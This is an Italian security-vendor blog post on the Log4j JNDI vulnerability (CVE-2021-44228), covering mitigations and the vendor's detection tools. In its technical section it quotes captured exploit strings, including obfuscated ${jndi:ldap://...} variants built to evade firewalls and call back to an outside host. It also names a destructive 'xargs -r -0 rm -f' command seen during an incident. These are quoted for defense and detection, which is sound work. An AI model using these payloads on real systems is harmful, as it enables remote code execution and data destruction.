1. introduzione
Negli ultimi giorni, una grave vulnerabilità Log4j (CVE-2021-44228, CVE-2021-45046) ha quasi portato a una tempesta perfetta nel mondo di Internet. In quanto utility di registrazione Java ampiamente utilizzata con una vulnerabilità facilmente sfruttabile, Log4j ha senza dubbio innervosito i professionisti IT e le aziende e sono state sollevate molte domande: cos'è questa vulnerabilità? Come posso sapere se il nostro sistema è vulnerabile? La mia infrastruttura IT è già stata violata? Cosa posso fare per prevenire attacchi futuri che sfruttano questa vulnerabilità?
In Stellar Cyber, abbiamo monitorato da vicino la situazione e siamo qui per fornire i nostri suggerimenti e consigli ai nostri clienti e partner attuali e potenziali mentre navigano attraverso le incertezze portate da questa vulnerabilità di Log4j.
2. Impatto e mitigazione
Secondo CVE-2021-44228, qualsiasi Apache Log4j2 precedente alla v2.15.0 è interessato dalla vulnerabilità a causa di un'interpolazione di stringhe non controllata con Interfaccia di denominazione e directory Java (JNDI) ricerca. Un utente malintenzionato che ha le conoscenze per inserire dati nei messaggi di registro può creare e inserire un'espressione di interpolazione JNDI formattata speciale per caricare ed eseguire codice arbitrario dall'endpoint JNDI specificato (ad esempio, un server LDAP) quando l'espressione di interpolazione viene valutata da Log4j.
L'impatto di questa vulnerabilità dovrebbe essere ampio a causa dell'ampio uso di Log4j in molte applicazioni software popolari e della sua facile sfruttabilità. La comunità della sicurezza ha monitorato siti Web, software, componenti open source e altri produttori utilizzando Log4j e ha confermato che anche alcune grandi aziende erano vulnerabili.
Per mitigare questa vulnerabilità, consigliamo ai nostri clienti e partner di aggiornare il loro Log4j esistente alla v2.15.0, in cui il comportamento relativo a JNDI è disabilitato per impostazione predefinita. Se l'aggiornamento immediato non è un'opzione, un'altra mitigazione consiste nell'impostare la proprietà del sistema log4j2.formatMsgNoLookups a vero (applicabile alla v2.10+) o per rimuovere il Ricerca Jndi class dal classpath (applicabile a Log4j prima della v2.10 tramite zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
Inoltre, consigliamo ai nostri clienti e partner di aggiornare il loro Java esistente almeno alla versione 6u211, 7u201, 8u191 o 11.0.1 in cui il caricamento della classe remota JNDI è disabilitato per impostazione predefinita.
Per applicazioni software specifiche che utilizzano Log4j e interessate da questa vulnerabilità, contatta i fornitori di software per applicare le patch appropriate il prima possibile.
3. Dettagli tecnici
In CVE-2021-44228, sono due le parti essenziali e rilevanti che costituiscono la vulnerabilità: Interfaccia di denominazione e directory Java (JNDI) con funzionalità di richiamo del metodo remoto e supporto di Log4j per l'interpolazione dei log con la ricerca JNDI.
Interfaccia di denominazione e directory Java (JNDI, Figura 1) è una funzionalità antica ma ancora utile che risale a Java 2 v1.3. Fornisce funzionalità di denominazione e directory alle applicazioni Java, quindi un'applicazione può invocare tramite JNDI vari fornitori di servizi come Protocollo di accesso alla directory leggero (LDAP). Ad esempio, un'applicazione Java può passare un URL ldap://qualche-server-ldap:389/o=QualcheIDOggetto tramite JNDI a un server LDAP supportato qualche-ldap-server per trovare e invocare un oggetto remoto qualche oggetto.
(https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html)
Sulla Log4j lato, il supporto per la ricerca JNDI è stato introdotto per la prima volta nella v2.0 nel 2013, come richiesto dai suoi utenti per sofisticate funzionalità di registrazione. Da allora, Log4j ha consentito agli sviluppatori di utilizzare l'interpolazione di stringhe con JNDI nei messaggi di registro. Ad esempio, si può scrivere logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}")e Log4j valuterà l'espressione di interpolazione e richiamerà JNDI di conseguenza per recuperare i dati che costituiscono il messaggio di log da un server remoto.
Infine, otto anni dopo, il 30 novembre 2021, il log4j team è stato messo a conoscenza della vulnerabilità all'esecuzione di codice remoto come risultato della combinazione dell'interpolazione del registro con la ricerca JNDI. Una settimana dopo, quasi tutti nella comunità della sicurezza e nel settore IT si sono informati e hanno iniziato a farsi prendere dal panico in un modo o nell'altro.
La conseguenza di questa vulnerabilità sarebbe particolarmente grave non solo perché Log4j è così ampiamente utilizzato, ma anche perché le persone hanno utilizzato Log4j in un modo troppo perfetto e troppo facile da sfruttare per gli aggressori.
Come possiamo vedere dal suddetto esempio di logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), per sfruttare con successo questa vulnerabilità, un utente malintenzionato deve sapere che tipo di dati iniettati verranno eventualmente registrati da qualche parte da un sistema vittima utilizzando Log4j. In realtà, è un frutto a portata di mano per qualsiasi aggressore con una familiarità minima con le moderne applicazioni basate sulla rete, in cui è pratica comune registrare ogni richiesta, inclusi URL, stringa di query e agente utente.
In Stellar Cyber, abbiamo monitorato i tentativi di exploit fatti ai nostri clienti e partner la scorsa settimana. Il nostro rilevamento delle anomalie dell'agente utente basato sull'apprendimento automatico ha già rilevato stringhe anomale dell'agente utente come:
${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}
Tra questi esempi, troviamo che gli aggressori hanno studiato diversi modi per sfruttare la vulnerabilità, non solo utilizzando il modulo vanilla, ma anche inventando diverse varianti per eludere i Web Application Firewall basati su regole che cercano di corrispondere ${jndi:ldap*.
Sebbene non sia stato un caso noto in cui gli aggressori hanno sfruttato la vulnerabilità e causato con successo gravi conseguenze, è comunque degno di nota che anche un semplice sondaggio, ad esempio un tentativo di sfruttare la vulnerabilità con DNSLog per verificare se un sistema di destinazione è vulnerabile, potrebbe comunque essere dannoso poiché gli aggressori potrebbero raccogliere risorse future al momento.
4. Come Stellar Cyber può aiutare
In Stellar Cyber, forniamo più strumenti ai nostri clienti e partner per difenderci dagli attacchi che sfruttano CVE-2021-44228.
Tramite il nostro provider di informazioni sulle minacce, Stellar Cyber Security Sensor (SDS) dispone già delle firme aggiornate per rilevare gli sfruttamenti tipici di CVE-2021-44228.
4.1 Avvisi stellari sui rilevamenti di sfruttamento
Attualmente offriamo i seguenti tipi di avviso che rilevano una nuova firma IDS o un picco di firme IDS:
- – Anomalia da sfruttamento pubblico a privato
- – Anomalia di sfruttamento da privato a pubblico
- – Anomalia da sfruttamento privato a privato
- – Anomalia da pubblico a pubblico Exploit
Si prega di guardare per questi avvisi con "log4j" nella descrizione dell'avviso o ids.signature campo.
4.2 ATH per tenere traccia delle firme Apache Log4j corrispondenti
Se desideri tenere traccia di tutte le istanze di firme Apache Log4j corrispondenti, puoi prendere in considerazione la creazione delle seguenti regole (Attenzione: potrebbe creare un numero elevato di avvisi):
- - Ricerca Eventi sandbox ML-IDS/malware indice con la query
ids.signature: log4j.
4.3 Ricognizione URL e rilevamento di anomalie dell'agente utente
Con gli aggressori che esplorano diverse varianti di sfruttamento, i nostri rilevamenti di anomalie basati sull'intelligenza artificiale (Figura 2) aiutano anche a rilevare tentativi indiretti o insoliti.
Troviamo alcuni tentativi indiretti da URL Reconnaissance Anomaly Detection con Log4j in parte di URL per sfruttare la vulnerabilità tramite applicazioni web Java. Tali tentativi di solito coinvolgono un utente malintenzionato che esegue la scansione delle pagine da sfruttare, portando a un numero anomalo di errori HTTP 4xx, che possono essere rilevati da URL Reconnaissance Anomaly Detection.
Poiché le stringhe User-Agent sono uno dei principali mezzi di sfruttamento secondo le nostre osservazioni, anche il nostro User Agent Anomaly Detection è uno strumento utile. Rileva stringhe User-Agent che non sono mai state viste prima o che sono state viste molto raramente, potendo così fornire una difesa aggiuntiva contro la crescente tendenza allo sfruttamento.
Cercare "log4j" direttamente in tutti gli avvisi potrebbe essere ragionevole. (Attenzione: questa è una query molto costosa, per favore non provare con dati grezzi che potrebbero portare a un sovraccarico del data lake.)
4.4 Correlazione incidente
Un tentativo di sfruttare CVE-2021-44228 potrebbe essere solo una singola azione risultante in un singolo avviso dai nostri rilevamenti. Al fine di indagare ulteriormente e tenere traccia dei potenziali attacchi in corso relativi al Log4j facilmente sfruttabile, forniamo un'ulteriore funzione Incidenti (Figura 3) per correlare un insieme di più avvisi correlati ed entità che costituiscono un potenziale attacco unificato (ovvero un incidente) per una migliore visibilità e gestibilità della sicurezza. Utilizziamo funzionalità di apprendimento automatico per generare incidenti automaticamente, raggruppando gli avvisi correlati in un incidente unificato per una migliore risoluzione degli attacchi.
Come possiamo vedere nella Figura 4, che mostra una vista cronologica dettagliata di un incidente con CVE-2021-44228 sfruttamento, la nostra correlazione incidente mette automaticamente insieme tre avvisi altamente correlati da tre diversi rilevamenti ordinati in base al momento in cui si sono verificati: prima un'anomalia User-Agent in cui un utente malintenzionato ha tentato di iniettare una stringa User-Agent dannosa da 10.11.191.95 a 10.11.190.88, seguito da un processo anomalo che si genera il 10.11.190.88 e termina con un'anomalia del comando che esegue un comando pericoloso
xargs -r -0 rm -f.5. conclusioni
In questo post, abbiamo condiviso i nostri takeaway di CVE-2021-44228 e abbiamo offerto consigli ai nostri clienti e partner attuali e potenziali, e abbiamo anche mostrato come Stellar Cyber può venire in soccorso in questo periodo di tempo incerto. Come promemoria finale, assicurati di patchare e aggiornare qualsiasi software interessato, incluso Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1).
